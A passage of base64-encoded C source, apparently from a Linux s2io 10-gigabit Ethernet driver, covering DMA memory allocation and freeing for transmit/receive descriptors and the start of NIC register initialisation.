Yy0+bWFjX2NvbnRyb2wudHhkX2xpc3RfbWVtID0gcGNpX2FsbG9jX2NvbnNpc3RlbnQKCQkobmlj LT5wZGV2LCBzaXplLCAmcGh5X2FsbG9jKTsKCW5pYy0+bWFjX2NvbnRyb2wudHhkX2xpc3RfbWVt X3BoeSA9IHBoeV9hbGxvYzsKCSNlbHNlCgluaWMtPm1hY19jb250cm9sLnR4ZF9saXN0X21lbSA9 IHBjaV9hbGxvY19jb25zaXN0ZW50CgkJKG5pYy0+cGRldiwgc2l6ZSwgJm5pYy0+bWFjX2NvbnRy b2wudHhkX2xpc3RfbWVtX3BoeSk7CgkjZW5kaWYKCglpZighbmljLT5tYWNfY29udHJvbC50eGRf bGlzdF9tZW0pIHsKCQlyZXR1cm4gLUVOT01FTTsKCX0gZWxzZSB7CgkJbmljLT5fZlJlc291cmNl IHw9IFRYRF9BTExPQ0VEOwoJfQoJbmljLT5tYWNfY29udHJvbC50eGRfbGlzdF9tZW1fc3ogPSBz aXplOwoKCXRtcF92X2FkZHIgPSBuaWMtPm1hY19jb250cm9sLnR4ZF9saXN0X21lbTsKCXRtcF9w X2FkZHIgPSBuaWMtPm1hY19jb250cm9sLnR4ZF9saXN0X21lbV9waHk7CgltZW1zZXQodG1wX3Zf YWRkciwwLHNpemUpOwoJI2lmbmRlZiBYRU5BX0FSQ0hfNjQKCURCR19QUklOVChJTklUX0RCRywi JXM6TGlzdCBNZW0gUEhZOiAweCV4XG4iLGRldi0+bmFtZSx0bXBfcF9hZGRyKTsKCSNlbHNlCglE QkdfUFJJTlQoSU5JVF9EQkcsIiVzOkxpc3QgTWVtIFBIWTogMHglbHhcbiIsZGV2LT5uYW1lLHRt cF9wX2FkZHIpOwoJI2VuZGlmCgkKCWZvcihpPTA7aTxuaWMtPmNvbmZpZy5UeEZJRk9OdW07aSsr KSB7CgkJbmljLT5tYWNfY29udHJvbC50eGRsX3N0YXJ0X3BoeVtpXSA9IHRtcF9wX2FkZHI7CgkJ bmljLT5tYWNfY29udHJvbC50eGRsX3N0YXJ0W2ldID0gKFR4RF90ICopdG1wX3ZfYWRkcjsKCQlu aWMtPm1hY19jb250cm9sLnR4X2N1cnJfcHV0X2luZm9baV0ub2Zmc2V0ID0gMDsKCQluaWMtPm1h Y19jb250cm9sLnR4X2N1cnJfcHV0X2luZm9baV0uZmlmb19sZW4gPQoJCW5pYy0+Y29uZmlnLlR4 Q2ZnW2ldLkZpZm9MZW4tMTsKCQluaWMtPm1hY19jb250cm9sLnR4X2N1cnJfZ2V0X2luZm9baV0u b2Zmc2V0ID0gMDsKCQluaWMtPm1hY19jb250cm9sLnR4X2N1cnJfZ2V0X2luZm9baV0uZmlmb19s ZW4gPQoJCW5pYy0+Y29uZmlnLlR4Q2ZnW2ldLkZpZm9MZW4tMTsKCQoJCXRtcF9wX2FkZHIgKz0g KG5pYy0+Y29uZmlnLlR4Q2ZnW2ldLkZpZm9MZW4qKHNpemVvZihUeERfdCkpKgoJCQluaWMtPmNv bmZpZy5NYXhUeERzKTsKCQl0bXBfdl9hZGRyICs9IChuaWMtPmNvbmZpZy5UeENmZ1tpXS5GaWZv TGVuKihzaXplb2YoVHhEX3QpKSoKCQkJIG5pYy0+Y29uZmlnLk1heFR4RHMpOwoJfQoKLyogQWxs b2NhdGlvbiBhbmQgaW5pdGlhbGl6YXRpb24gb2YgUlhEcyBpbiBSaW5ncyAqLwoJc2l6ZSA9IDA7 Cglmb3IoaT0wOyBpPG5pYy0+Y29uZmlnLlJ4UmluZ051bTsgaSsrKSB7CgkJaWYobmljLT5jb25m aWcuUnhDZmdbaV0uTnVtUnhkICUgMTI4KSB7CgkJCURCR19QUklOVChFUlJfREJHLCIlczogUnhE IGNvdW50IG9mICIsZGV2LT5uYW1lKTsKCQkJREJHX1BSSU5UKEVSUl9EQkcsIlJpbmclZCBpcyBu b3QgYSBtdWx0aXBsZSBvZiAiLCBpKTsKCQkJREJHX1BSSU5UKEVSUl9EQkcsIlJ4RHMgcGVyIEJs b2NrIik7CgkJCXJldHVybiBGQUlMVVJFOwoJCX0KCQlzaXplICs9IG5pYy0+Y29uZmlnLlJ4Q2Zn W2ldLk51bVJ4ZDsKCQluaWMtPmJsb2NrX2NvdW50W2ldID0gCgkJCW5pYy0+Y29uZmlnLlJ4Q2Zn W2ldLk51bVJ4ZC8oTUFYX1JYRFNfUEVSX0JMT0NLKzEpOwoJCW5pYy0+cGt0X2NudFtpXSA9IAoJ CQluaWMtPmNvbmZpZy5SeENmZ1tpXS5OdW1SeGQtbmljLT5ibG9ja19jb3VudFtpXTsKCX0KCXNp emUgPSAoc2l6ZSooc2l6ZW9mKFJ4RF90KSkpOwoJbmljLT5tYWNfY29udHJvbC5yeGRfcmluZ19t ZW1fc3ogPSBzaXplOwoKCWZvcihpPTA7aTxuaWMtPmNvbmZpZy5SeFJpbmdOdW07aSsrKSB7CgkJ bmljLT5tYWNfY29udHJvbC5yeF9jdXJyX2dldF9pbmZvW2ldLmJsb2NrX2luZGV4ID0gMDsKCQlu aWMtPm1hY19jb250cm9sLnJ4X2N1cnJfZ2V0X2luZm9baV0ub2Zmc2V0ID0gMDsKCQluaWMtPm1h Y19jb250cm9sLnJ4X2N1cnJfZ2V0X2luZm9baV0ucmluZ19sZW4gPQoJCW5pYy0+Y29uZmlnLlJ4 Q2ZnW2ldLk51bVJ4ZCAtIDE7CgkJbmljLT5tYWNfY29udHJvbC5yeF9jdXJyX3B1dF9pbmZvW2ld LmJsb2NrX2luZGV4ID0gMDsKCQluaWMtPm1hY19jb250cm9sLnJ4X2N1cnJfcHV0X2luZm9baV0u b2Zmc2V0ID0gMDsKCQluaWMtPm1hY19jb250cm9sLnJ4X2N1cnJfcHV0X2luZm9baV0ucmluZ19s ZW4gPQoJCW5pYy0+Y29uZmlnLlJ4Q2ZnW2ldLk51bVJ4ZCAtIDE7CgkJYmxrX2NudCA9IG5pYy0+ Y29uZmlnLlJ4Q2ZnW2ldLk51bVJ4ZC8oTUFYX1JYRFNfUEVSX0JMT0NLKzEpOwoJLyogIEFsbG9j YXRpbmcgYWxsIHRoZSBSeCBibG9ja3MgKi8KCQlmb3Ioaj0wO2o8YmxrX2NudDtqKyspIHsKCQkJ c2l6ZSA9IChNQVhfUlhEU19QRVJfQkxPQ0srMSkqKHNpemVvZihSeERfdCkpOwoJCQkjaWZkZWYg QVJDSF9QUEM2NAoJCQl0bXBfdl9hZGRyID0gcGNpX2FsbG9jX2NvbnNpc3RlbnQobmljLT5wZGV2 LCBzaXplLCAKCQkJCQkmcGh5X2FsbG9jKTsKCQkJdG1wX3BfYWRkciA9IHBoeV9hbGxvYzsKCQkJ I2Vsc2UKCQkJdG1wX3ZfYWRkciA9IHBjaV9hbGxvY19jb25zaXN0ZW50KG5pYy0+cGRldiwgc2l6 ZSwgCgkJCQkJJnRtcF9wX2FkZHIpOwoJCQkjZW5kaWYKCQkJbWVtc2V0KHRtcF92X2FkZHIsMCxz aXplKTsJCgkJCW5pYy0+cnhfYmxvY2tzW2ldW2pdLmJsb2NrX3ZpcnRfYWRkciA9IHRtcF92X2Fk ZHI7CgkJCW5pYy0+cnhfYmxvY2tzW2ldW2pdLmJsb2NrX2RtYV9hZGRyID0gdG1wX3BfYWRkcjsK CQl9CgkJLyogSW50ZXJsaW5raW5nIGFsbCBSeCBCbG9ja3MgKi8KCQlmb3Ioaj0wO2o8YmxrX2Nu dDtqKyspIHsKCQkJdG1wX3ZfYWRkciA9IG5pYy0+cnhfYmxvY2tzW2ldW2pdLmJsb2NrX3ZpcnRf YWRkcjsKCQkJdG1wX3ZfYWRkcl9uZXh0ID0gbmljLT5yeF9ibG9ja3NbaV1bKGorMSklYmxrX2Nu dF0uCgkJCQkJYmxvY2tfdmlydF9hZGRyOwoJCQl0bXBfcF9hZGRyID0gbmljLT5yeF9ibG9ja3Nb aV1bal0uYmxvY2tfZG1hX2FkZHI7CgkJCXRtcF9wX2FkZHJfbmV4dCA9IG5pYy0+cnhfYmxvY2tz W2ldWyhqKzEpJWJsa19jbnRdLgoJCQkJCWJsb2NrX2RtYV9hZGRyOwoKCQkJcHJlX3J4ZF9ibGsg PSAoUnhEX2Jsb2NrX3QgKil0bXBfdl9hZGRyOwoJCQlwcmVfcnhkX2Jsay0+cmVzZXJ2ZWRfMCA9 IE5PTlpFUk87CgkJCXByZV9yeGRfYmxrLT5yZXNlcnZlZF8xID0gRU5EX09GX0JMT0NLOwkvKiBs YXN0IFJ4RCAKCQkJCQkJCQkgKiBtYXJrZXIuCgkJCQkJCQkJICovCgkJCXByZV9yeGRfYmxrLT5y ZXNlcnZlZF8yX3BOZXh0X1J4RF9ibG9jayA9IAoJCQkJCShSeERfdCAqKXRtcF92X2FkZHJfbmV4 dDsKCQkJcHJlX3J4ZF9ibGstPnBOZXh0X1J4RF9CbGtfcGh5c2ljYWwgPSAKCQkJCQkodTY0KXRt cF9wX2FkZHJfbmV4dDsKCQl9Cgl9CgovKiBBbGxvY2F0aW9uIGFuZCBpbml0aWFsaXphdGlvbiBv ZiBTdGF0aXN0aWNzIGJsb2NrICovCglzaXplID0gMDsKCXNpemUgPSBzaXplb2YoU3RhdEluZm9f dCk7CgojaWZkZWYgQVJDSF9QUEM2NAoJbmljLT5tYWNfY29udHJvbC5zdGF0c19tZW0gPSBwY2lf YWxsb2NfY29uc2lzdGVudAoJCQkobmljLT5wZGV2LCBzaXplLCAmcGh5X2FsbG9jKTsKCW5pYy0+ bWFjX2NvbnRyb2wuc3RhdHNfbWVtX3BoeSA9IHBoeV9hbGxvYzsKI2Vsc2UKCgluaWMtPm1hY19j b250cm9sLnN0YXRzX21lbSA9IHBjaV9hbGxvY19jb25zaXN0ZW50CgkJKG5pYy0+cGRldiwgc2l6 ZSwgJm5pYy0+bWFjX2NvbnRyb2wuc3RhdHNfbWVtX3BoeSk7CiNlbmRpZgoKCWlmKCFuaWMtPm1h Y19jb250cm9sLnN0YXRzX21lbSkgewoJCXJldHVybiAtRU5PTUVNOwoJfSBlbHNlIHsKCQluaWMt Pl9mUmVzb3VyY2UgfD0gU1RBVFNfQUxMT0NFRDsKCX0KCW5pYy0+bWFjX2NvbnRyb2wuc3RhdHNf bWVtX3N6ID0gc2l6ZTsKCgl0bXBfdl9hZGRyID0gbmljLT5tYWNfY29udHJvbC5zdGF0c19tZW07 CgluaWMtPm1hY19jb250cm9sLlN0YXRzSW5mbyA9IChTdGF0SW5mb190ICopdG1wX3ZfYWRkcjsK CW1lbXNldCh0bXBfdl9hZGRyLDAsc2l6ZSk7CgoJdG1wX3BfYWRkciA9IG5pYy0+bWFjX2NvbnRy b2wuc3RhdHNfbWVtX3BoeTsKCW5pYy0+bWFjX2NvbnRyb2wuU3RhdHNJbmZvUGh5ID0gdG1wX3Bf YWRkcjsKCiNpZm5kZWYgWEVOQV9BUkNIXzY0CglEQkdfUFJJTlQoSU5JVF9EQkcsIiVzOlJpbmcg TWVtIFBIWTogMHgleFxuIixkZXYtPm5hbWUsdG1wX3BfYWRkcik7CiNlbHNlCglEQkdfUFJJTlQo SU5JVF9EQkcsIiVzOlJpbmcgTWVtIFBIWTogMHglbHhcbiIsZGV2LT5uYW1lLHRtcF9wX2FkZHIp OwojZW5kaWYKCnJldHVybiBTVUNDRVNTOwp9CgovKiAgCiAqICBJbnB1dCBBcmd1bWVudHM6IAog KiAgRGV2aWNlIHBlaXZhdGUgdmFyaWFibGUuCiAqICBSZXR1cm4gVmFsdWU6IAogKiAgTk9ORQog KiAgRGVzY3JpcHRpb246IAogKiAgVGhpcyBmdW5jdGlvbiBpcyB0byBmcmVlIGFsbCBtZW1vcnkg bG9jYXRpb25zIGFsbG9jYXRlZCBieQogKiAgdGhlIGluaXRTaGFyZWRNZW0oKSBmdW5jdGlvbiBh bmQgcmV0dXJuIGl0IHRvIHRoZSBrZXJuZWwuCiAqLwpzdGF0aWMgdm9pZCBmcmVlU2hhcmVkTWVt KHN0cnVjdCBzMmlvX25pYyAqbmljKQp7CglpbnQgaSxqLCBibGtfY250LHNpemU7Cgl2b2lkICp0 bXBfdl9hZGRyOwoJZG1hYWRkcl90IHRtcF9wX2FkZHI7CgoJaWYoIW5pYykKCQlyZXR1cm47Cglp ZihuaWMtPl9mUmVzb3VyY2UgJiBUWERfQUxMT0NFRCkgewoJCW5pYy0+X2ZSZXNvdXJjZSAmPSB+ VFhEX0FMTE9DRUQ7CgkJcGNpX2ZyZWVfY29uc2lzdGVudChuaWMtPnBkZXYsbmljLT5tYWNfY29u dHJvbC50eGRfbGlzdF9tZW1fc3osCgkJbmljLT5tYWNfY29udHJvbC50eGRfbGlzdF9tZW0sCgkJ bmljLT5tYWNfY29udHJvbC50eGRfbGlzdF9tZW1fcGh5KTsKCX0KCglpZihuaWMtPl9mUmVzb3Vy Y2UgJiBSWERfQUxMT0NFRCkgewoJCW5pYy0+X2ZSZXNvdXJjZSAmPSB+UlhEX0FMTE9DRUQ7CgkJ c2l6ZSA9IChNQVhfUlhEU19QRVJfQkxPQ0srMSkqKHNpemVvZihSeERfdCkpOwoJCWZvcihpPTA7 IGk8bmljLT5jb25maWcuUnhSaW5nTnVtOyBpKyspIHsKCQkJYmxrX2NudCA9IG5pYy0+YmxvY2tf Y291bnRbaV07CgkJCWZvcihqPTA7IGo8YmxrX2NudDsgaisrKSB7CgkJCQl0bXBfdl9hZGRyPW5p Yy0+cnhfYmxvY2tzW2ldW2pdLmJsb2NrX3ZpcnRfYWRkcjsKCQkJCXRtcF9wX2FkZHI9bmljLT5y eF9ibG9ja3NbaV1bal0uYmxvY2tfZG1hX2FkZHI7CgkJCQlwY2lfZnJlZV9jb25zaXN0ZW50KG5p Yy0+cGRldiwgc2l6ZSx0bXBfdl9hZGRyLAoJCQkJCQl0bXBfcF9hZGRyKTsKCQkJfQoJCX0KCX0K CglpZihuaWMtPl9mUmVzb3VyY2UgJiBTVEFUU19BTExPQ0VEKSB7CgkJbmljLT5fZlJlc291cmNl ICY9IH5TVEFUU19BTExPQ0VEOwoJCXBjaV9mcmVlX2NvbnNpc3RlbnQobmljLT5wZGV2LG5pYy0+ bWFjX2NvbnRyb2wuc3RhdHNfbWVtX3N6LAoJCW5pYy0+bWFjX2NvbnRyb2wuc3RhdHNfbWVtLAoJ CW5pYy0+bWFjX2NvbnRyb2wuc3RhdHNfbWVtX3BoeSk7Cgl9Cn0KCi8qICAKICogIElucHV0IEFy Z3VtZW50czogCiAqICBkZXZpY2UgcGVpdmF0ZSB2YXJpYWJsZQogKiAgUmV0dXJuIFZhbHVlOiAK ICogIFNVQ0NFU1Mgb24gc3VjY2VzcyBhbmQgJy0xJyBvbiBmYWlsdXJlIChlbmRpYW4gc2V0dGlu Z3MgaW5jb3JyZWN0KS4KICogIERlc2NyaXB0aW9uOiAKICogIFRoZSBmdW5jdGlvbiBzZXF1ZW50 aWFsbHkgY29uZmlndXJlcyBldmVyeSBibG9jayAKICogIG9mIHRoZSBIL1cgZnJvbSB0aGVpciBy ZXNldCB2YWx1ZXMuIAogKi8Kc3RhdGljIGludCBpbml0TmljKHN0cnVjdCBzMmlvX25pYyAqbmlj KQp7ClhFTkFfZGV2X2NvbmZpZ190ICpiYXIwID0gKFhFTkFfZGV2X2NvbmZpZ190ICopbmljLT5i YXIwOwpzdHJ1Y3QgbmV0X2RldmljZSAqZGV2ID0gbmljLT5kZXY7CnJlZ2lzdGVyIHU2NCB2YWw2 NCA9IDA7CnZvaWQgKmFkZDsKdTMyIHRpbWUsIG1lbV9zaGFyZTsKaW50IGksajsKCi8qICBTZXQg cHJvcGVyIGVuZGlhbiBzZXR0aW5ncyBhbmQgdmVyaWZ5IHRoZSBzYW1lIGJ5IHJlYWRpbmcgdGhl IFBJRiAKRmVlZC1iYWNrIHJlZ2lzdGVyICovCiNpZmRlZiAgX19CSUdfRU5ESUFOCi8qIFRoZSBk ZXZpY2UgYnkgZGVmYXVsdCBzZXQgdG8gYSBiaWcgZW5kaWFuIGZvcm1hdCwgc28gYSBiaWcgZW5k aWFuCiAqIGRyaXZlciBuZWVkIG5vdCBzZXQgYW55dGhpbmcuCiAqLwojaWZkZWYgQVJDSF9QUEM2 NAoJd3JpdGU2NCgmYmFyMC0+c3dhcHBlcl9jdHJsLCAweGZmZmZmZmZmZmZmZmZmZmYpOwkKCXZh bDY0ID0gKAoJU1dBUFBFUl9DVFJMX1BJRl9SX0ZFICAgIHwKCVNXQVBQRVJfQ1RSTF9QSUZfUl9T RSAgICB8CglTV0FQUEVSX0NUUkxfUElGX1dfRkUgICAgfAoJU1dBUFBFUl9DVFJMX1BJRl9XX1NF ICAgIHwKCVNXQVBQRVJfQ1RSTF9UWFBfRkUgICAgICB8CglTV0FQUEVSX0NUUkxfVFhQX1NFICAg ICAgfAoJU1dBUFBFUl9DVFJMX1RYRF9SX0ZFICAgIHwKCVNXQVBQRVJfQ1RSTF9UWERfV19GRSAg ICB8IAoJU1dBUFBFUl9DVFJMX1RYRl9SX0ZFICAgIHwKCVNXQVBQRVJfQ1RSTF9SWERfUl9GRSAg ICB8CglTV0FQUEVSX0NUUkxfUlhEX1dfRkUgICAgfAoJU1dBUFBFUl9DVFJMX1JYRl9XX0ZFICAg IHwKCVNXQVBQRVJfQ1RSTF9YTVNJX0ZFICAgICB8CglTV0FQUEVSX0NUUkxfWE1TSV9TRSAgICAg fAoJU1dBUFBFUl9DVFJMX1NUQVRTX0ZFICAgIHwKCVNXQVBQRVJfQ1RSTF9TVEFUU19TRSApOyAK CXdyaXRlNjQoJmJhcjAtPnN3YXBwZXJfY3RybCwgdmFsNjQpOwojZW5kaWYKI2Vsc2UKLyogSW5p dGlhbGx5IHdlIGVuYWJsZSBhbGwgYml0cyB0byBtYWtlIGl0IGFjY2Vzc2libGUgYnkgdGhlIGRy aXZlciwKICogdGhlbiB3ZSBzZWxlY3RpdmVseSBlbmFibGUgb25seSB0aG9zZSBiaXRzIHRoYXQg d2Ugd2FudCB0byBzZXQuCiAqLwoJd3JpdGU2NCgmYmFyMC0+c3dhcHBlcl9jdHJsLCAweGZmZmZm ZmZmZmZmZmZmZmYpOwoJdmFsNjQgPSAoICAgCglTV0FQUEVSX0NUUkxfUElGX1JfRkUgICAgfAoJ U1dBUFBFUl9DVFJMX1BJRl9SX1NFICAgIHwKCVNXQVBQRVJfQ1RSTF9QSUZfV19GRSAgICB8CglT V0FQUEVSX0NUUkxfUElGX1dfU0UgICAgfAoJU1dBUFBFUl9DVFJMX1RYUF9GRSAgICAgIHwKCVNX QVBQRVJfQ1RSTF9UWFBfU0UgICAgICB8CglTV0FQUEVSX0NUUkxfVFhEX1JfRkUgICAgfAoJU1dB UFBFUl9DVFJMX1RYRF9SX1NFICAgIHwKCVNXQVBQRVJfQ1RSTF9UWERfV19GRSAgICB8CglTV0FQ UEVSX0NUUkxfVFhEX1dfU0UgICAgfAoJU1dBUFBFUl9DVFJMX1RYRl9SX0ZFICAgIHwKCVNXQVBQ RVJfQ1RSTF9SWERfUl9GRSAgICB8CglTV0FQUEVSX0NUUkxfUlhEX1JfU0UgICAgfAoJU1dBUFBF Ul9DVFJMX1JYRF9XX0ZFICAgIHwKCVNXQVBQRVJfQ1RSTF9SWERfV19TRSAgICB8CglTV0FQUEVS X0NUUkxfUlhGX1dfRkUgICAgfAoJU1dBUFBFUl9DVFJMX1hNU0lfRkUgICAgIHwKCVNXQVBQRVJf Q1RSTF9YTVNJX1NFICAgICB8CglTV0FQUEVSX0NUUkxfU1RBVFNfRkUgICAgfAoJU1dBUFBFUl9D VFJMX1NUQVRTX1NFICk7Cgl3cml0ZTY0KCZiYXIwLT5zd2FwcGVyX2N0cmwsIHZhbDY0KTsKI2Vu ZGlmCgovKiAgVmVyaWZ5aW5nIGlmIGVuZGlhbiBzZXR0aW5ncyBhcmUgYWNjdXJhdGUgYnkgcmVh ZGluZyBhIGZlZWRiYWNrCiAqICByZWdpc3Rlci4KICovCgl2YWw2NCA9IHJlYWQ2NCgmYmFyMC0+ cGlmX3JkX3N3YXBwZXJfZmIpOwoJaWYodmFsNjQgIT0gMHgwMTIzNDU2Nzg5QUJDREVGKSB7Cgkv KiBFbmRpYW4gc2V0dGluZ3MgYXJlIGluY29ycmVjdCwgY2FsbHMgZm9yIGFub3RoZXIgZGVra28u ICovCgkJI2lmbmRlZiBYRU5BX0FSQ0hfNjQKCQlEQkdfUFJJTlQoSU5JVF9EQkcsIiVzOiBFbmRp YW4gc2V0dGluZ3MgYXJlIHdyb25nIixkZXYtPm5hbWUpOwoJCURCR19QUklOVChFUlJfREJHLCIs IGZlZWRiYWNrIHJlYWQgJWxseFxuIiwgdmFsNjQpOwoJCSNlbHNlCgkJREJHX1BSSU5UKElOSVRf REJHLCIlczogRW5kaWFuIHNldHRpbmdzIGFyZSB3cm9uZyIsZGV2LT5uYW1lKTsKCQlEQkdfUFJJ TlQoRVJSX0RCRywiLCBmZWVkYmFjayByZWFkICVseFxuIiwgdmFsNjQpOwoJCSNlbmRpZgoJCXJl dHVybiBGQUlMVVJFOwoJfQoKLyogUmVtb3ZlIFhHWFMgZnJvbSByZXNldCBzdGF0ZSovCgl2YWw2 NCA9IDA7Cgl3cml0ZTY0KCZiYXIwLT5zd19yZXNldCwgdmFsNjQpOwoJbWRlbGF5KDUwMCk7Cgov KiBOZWVkIHRvIHNldCBjb3JyZWN0IHZhbHVlcyBpbiB0aGUgZm9sbG93aW5nIFBJQyBDb250cm9s IHJlZ2lzdGVycyAKICogMS4gUElDIENvbnRyb2wKICogMi4gVHggcmVxdWVzdCB0aW1lb3V0CiAq IDMuIFN0YXRzIHJlcXVlc3QgdGltZW91dAogKiA0LiBSZWFkIHJldHJ5IGRlbGF5CiAqIDUuIFJl YWQgcmV0cnkgYWNjbGVyZXJhdGlvbgogKiA2LiBXcml0ZSByZXRyeSBkZWxheQogKiA3LiBXcml0 ZSByZXRyeSBhY2NsZXJlcmF0aW9uCiAqLwoKLyogIEVuYWJsZSBSZWNlaXZpbmcgYnJvYWRjYXN0 cyAqLwoJdmFsNjQgPSByZWFkNjQoJmJhcjAtPm1hY19jZmcpOwoJdmFsNjQgfD0gTUFDX1JNQUNf QkNBU1RfRU5BQkxFOwoJd3JpdGU2NCgmYmFyMC0+cm1hY19jZmdfa2V5LCBSTUFDX0NGR19LRVko MHg0QzBEKSk7Cgl3cml0ZTY0KCZiYXIwLT5tYWNfY2ZnLCB2YWw2NCk7CgovKiBSZWFkIHJlZ2lz dGVycyBpbiBhbGwgYmxvY2tzICovCgl2YWw2NCA9IHJlYWQ2NCgmYmFyMC0+bWFjX2ludF9tYXNr KTsKCXZhbDY0ID0gcmVhZDY0KCZiYXIwLT5tY19pbnRfbWFzayk7Cgl2YWw2NCA9IHJlYWQ2NCgm YmFyMC0+eGd4c19pbnRfbWFzayk7CgovKiAgU2V0IE1UVSAqLwoJdmFsNjQgPSBkZXYtPm10dTsK CXdyaXRlNjQoJmJhcjAtPnJtYWNfbWF4X3B5bGRfbGVuLCB2QklUKHZhbDY0LDIsMTQpKTsKCi8q IEVuYWJsZSBEVFhfQ29udHJvbCByZWdpc3RlcnMuICovCi8qIExBVEVTVCBGaXggZ2l2ZW4gYnkg UmljaGFyZCB0byBmaXggWEFVSSBDb25maWd1cmF0aW9uICovCgl3cml0ZTY0KCZiYXIwLT5kdHhf Y29udHJvbCwweDgwMDAwNTE1MDAwMDAwMDApOwoJdWRlbGF5KDUwKTsJCgl3cml0ZTY0KCZiYXIw LT5kdHhfY29udHJvbCwweDgwMDAwNTE1MDAwMDAwRTApOwoJdWRlbGF5KDUwKTsJCgl3cml0ZTY0 KCZiYXIwLT5kdHhfY29udHJvbCwweDgwMDAwNTE1RDkzNTAwRTQpOwoJdWRlbGF5KDUwKTsJCgoJ d3JpdGU2NCgmYmFyMC0+ZHR4X2NvbnRyb2wsMHg4MDAxMDUxNTAwMDAwMDAwKTsKCXVkZWxheSg1 MCk7CQoJd3JpdGU2NCgmYmFyMC0+ZHR4X2NvbnRyb2wsMHg4MDAxMDUxNTAwMDAwMEUwKTsKCXVk ZWxheSg1MCk7CQoJd3JpdGU2NCgmYmFyMC0+ZHR4X2NvbnRyb2wsMHg4MDAxMDUxNTAwMUUwMEU0 KTsKCXVkZWxheSg1MCk7CQoKCXdyaXRlNjQoJmJhcjAtPmR0eF9jb250cm9sLDB4ODAwMjA1MTUw MDAwMDAwMCk7Cgl1ZGVsYXkoNTApOwkKCXdyaXRlNjQoJmJhcjAtPmR0eF9jb250cm9sLDB4ODAw MjA1MTUwMDAwMDBFMCk7Cgl1ZGVsYXkoNTApOwkKCXdyaXRlNjQoJmJhcjAtPmR0eF9jb250cm9s LDB4ODAwMjA1MTVGMjEwMDBFNCk7Cgl1ZGVsYXkoNTApOwkKCiNpZiAwIC8qIFhBVUkgRklYIE1B U0sgKi8KCXdyaXRlNjQoJmJhcjAtPmR0eF9jb250cm9sLDB4ODAwMDA1MTUwMDAwMDAwMCk7Cgl1 ZGVsYXkoNTApOwkKCXdyaXRlNjQoJmJhcjAtPmR0eF9jb250cm9sLDB4ODAwMDA1MTUwMDAwMDBF MCk7Cgl1ZGVsYXkoNTApOwkKCXdyaXRlNjQoJmJhcjAtPmR0eF9jb250cm9sLDB4ODAwMDA1MTVE OTM1MDBFQyk7Cgl1ZGVsYXkoNTApOwkKCgl3cml0ZTY0KCZiYXIwLT5kdHhfY29udHJvbCwweDgw MDEwNTE1MDAwMDAwMDApOwoJdWRlbGF5KDUwKTsJCgl3cml0ZTY0KCZiYXIwLT5kdHhfY29udHJv bCwweDgwMDEwNTE1MDAwMDAwRTApOwoJdWRlbGF5KDUwKTsJCgl3cml0ZTY0KCZiYXIwLT5kdHhf Y29udHJvbCwweDgwMDEwNTE1MDAwMDAwRUMpOwoJdWRlbGF5KDUwKTsJCgoJd3JpdGU2NCgmYmFy MC0+ZHR4X2NvbnRyb2wsMHg4MDAyMDUxNTAwMDAwMDAwKTsKCXVkZWxheSg1MCk7CQoJd3JpdGU2 NCgmYmFyMC0+ZHR4X2NvbnRyb2wsMHg4MDAyMDUxNTAwMDAwMEUwKTsKCXVkZWxheSg1MCk7CQoJ d3JpdGU2NCgmYmFyMC0+ZHR4X2NvbnRyb2wsMHg4MDAyMDUxNTAwMDAwMEVDKTsKCXVkZWxheSg1 MCk7CQoKCXdyaXRlNjQoJmJhcjAtPm1kaW9fY29udHJvbCwweDAwMTgwNDAwMDAwMDAwMDApOwoJ dWRlbGF5KDUwKTsJCgl3cml0ZTY0KCZiYXIwLT5tZGlvX2NvbnRyb2wsMHgwMDE4MDQwMDAwMDAw MEUwKTsKCXVkZWxheSg1MCk7CQoJd3JpdGU2NCgmYmFyMC0+bWRpb19jb250cm9sLDB4MDAxODA0 MDAwMDAwMDBFQyk7Cgl1ZGVsYXkoNTApOwkKCgl3cml0ZTY0KCZiYXIwLT5kdHhfY29udHJvbCwg MHgwMDAwMDUxNTAwMDAwMDAwKTsKCXVkZWxheSg1MCk7CQoJd3JpdGU2NCgmYmFyMC0+ZHR4X2Nv bnRyb2wsIDB4MDAwMDA1MTU2MDQwMDBFMCk7Cgl1ZGVsYXkoNTApOwkKCXdyaXRlNjQoJmJhcjAt PmR0eF9jb250cm9sLCAweDAwMDAwNTE1NjA0MDAwRTQpOwoJdWRlbGF5KDUwKTsJCgl3cml0ZTY0 KCZiYXIwLT5kdHhfY29udHJvbCwgMHgwMDAwMDUxNTIwNDAwMEU0KTsKCXVkZWxheSg1MCk7CQoJ d3JpdGU2NCgmYmFyMC0+ZHR4X2NvbnRyb2wsIDB4MDAwMDA1MTUyMDQwMDBFQyk7Cgl1ZGVsYXko NTApOwkKCgl3cml0ZTY0KCZiYXIwLT5tZGlvX2NvbnRyb2wsMHgwMDE4MDQwMDAwMDAwMDAwKTsK CXVkZWxheSg1MCk7CQoJd3JpdGU2NCgmYmFyMC0+bWRpb19jb250cm9sLDB4MDAxODA0MDAwMDAw MDBFMCk7Cgl1ZGVsYXkoNTApOwkKCXdyaXRlNjQoJmJhcjAtPm1kaW9fY29udHJvbCwweDAwMTgw NDAwMDAwMDAwRUMpOwoJdWRlbGF5KDUwKTsJCiNlbHNlCi8qIFRoaXMgbmV3IHNldHRpbmdzIGdp dmVuIGJ5IFJpY2hyYWQgb24gMTAgT2N0IGRvZXMgbm90IHNlZW0KICogdG8gd29yay4gU28gSWFt IHN0aWxsIHVzaW5nIHRoZSBvbGQgc2V0dGluZ3MuCiAqLwoKLyogU2V0IFBBRExPT1BCQUNLTiAq LwoJd3JpdGU2NCgmYmFyMC0+ZHR4X2NvbnRyb2wsMHg4MDAyMDUxNTAwMDAwMDAwKTsKCXVkZWxh eSAoNTApOwoJd3JpdGU2NCgmYmFyMC0+ZHR4X2NvbnRyb2wsMHg4MDAyMDUxNTAwMDAwMEUwKTsK CXVkZWxheSAoNTApOwoJd3JpdGU2NCgmYmFyMC0+ZHR4X2NvbnRyb2wsMHg4MDAyMDUxNUIyMDAw MEU0KTsKCXVkZWxheSAoNTApOwoKLyogU2V0IFBBRExPT1BCQUNLTiAqLwoJd3JpdGU2NCgmYmFy MC0+ZHR4X2NvbnRyb2wsMHg4MDAzMDUxNTAwMDAwMDAwKTsKCXVkZWxheSAoNTApOwoJd3JpdGU2 NCgmYmFyMC0+ZHR4X2NvbnRyb2wsMHg4MDAzMDUxNTAwMDAwMEUwKTsKCXVkZWxheSAoNTApOwoJ d3JpdGU2NCgmYmFyMC0+ZHR4X2NvbnRyb2wsMHg4MDAzMDUxNUIyMDAwMEU0KTsKCXVkZWxheSAo NTApOwoKLyogU2V0IFBBRExPT1BCQUNLTiAqLwoJd3JpdGU2NCgmYmFyMC0+ZHR4X2NvbnRyb2ws 